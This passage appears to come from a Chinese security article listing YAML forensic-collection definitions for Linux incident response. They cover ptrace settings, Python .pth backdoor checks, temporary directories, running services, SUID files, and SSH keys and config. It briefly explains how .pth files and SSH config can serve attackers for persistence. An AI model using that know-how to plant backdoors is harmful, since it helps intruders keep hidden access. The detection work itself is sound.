leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/proc/sys/kernel/yama/ptrace_scope&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上 ptrace 相关配置，部分恶意程序可能会对此进行配置。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Python.pth.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxPythonPthBackdoor&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Linux 平台上 Python 中 .pth 后缀的文件用于扩展模块搜索路径。\n当此类文件位于 site-packages 或 dist-packages 等目录时，Python会在启动时自动处理文件内容但是它有一个问题，如果文件以 import 开头，那么在执行任意 Python 代码时就会执行 *.pth 文件的代码&#34;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;echo&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;$PYTHONPATH&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;locate&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;.pth&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://dfir.ch/posts/publish_python_pth_extension/" target="_blank">https://dfir.ch/posts/publish_python_pth_extension/</a>&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/" target="_blank">https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/</a>&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">排查 Linux 平台上 .pth  后门的情况</span><strong style="font-weight: bold;color: black;"><span leaf="">需要注意：</span></strong><span leaf=""> 需要系统上的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">locate</span></code><span leaf=""> 配合，一般系统没有默认安装，安装后执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">updatedb</span></code><span leaf=""> 可以为其生成数据库，之后就可以像 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Windows</span></code><span leaf=""> 上的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">everything</span></code><span leaf=""> 一样快速搜索了。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">SensitiveDirs.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SensitiveDirs&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上存在一些经常被攻击者使用的目录，例如 /tmp、/dev/shm ，本 Artifact 用于收集这些内容， /tmp 内容可能较多，需要根据实际情况谨慎收集。&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/tmp/&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/dev/shm&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/var/tmp&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上一些敏感目录。</span><strong style="font-weight: bold;color: black;"><span leaf="">需要注意：</span></strong><span leaf=""> 这些目录中可能存在较多文件，还是建议先使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo du -sh /tmp/</span></code><span leaf=""> 来查看每个目录的大小后决定是否采集。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Services.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxServices&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上运行的服务相关收集&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;systemctl&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;list-units&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;--type=service&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;--state=running&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上服务相关的内容，目前仅收集正在运行的服务。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">SpecialPermissionFile.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxSpecialPermission&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上具有 SUID、SGID 等权限的目录及文件&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;find&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-perm&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/4000&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;find&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-perm&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/2000&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上具有特殊权限的文件信息，例如 SUID 。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">该配置文件采集过程中可能会耗费一段时间。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">SSH.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxSSHAccess&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上SSH保存的公钥以及访问其他SSH服务器的目标地址记录&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.ssh/authorized_keys&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.ssh/authorized_keys2&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.ssh/known_hosts&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://mp.weixin.qq.com/s/R_CUPqa2WQUgOJu__5MFzg" target="_blank">https://mp.weixin.qq.com/s/R_CUPqa2WQUgOJu__5MFzg</a>&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxSSHConfig&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上 SSH 客户端配置文件收集，其中可能会被利用来权限维持&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/ssh/ssh_config&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.ssh/config&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://mp.weixin.qq.com/s/7WDWjMOI7GdUM5e4vDVAoA" target="_blank">https://mp.weixin.qq.com/s/7WDWjMOI7GdUM5e4vDVAoA</a>&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上 SSH 相关信息，包括保存的公钥、连接过的 SSH 服务器、SSH 客户端配置信息等。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 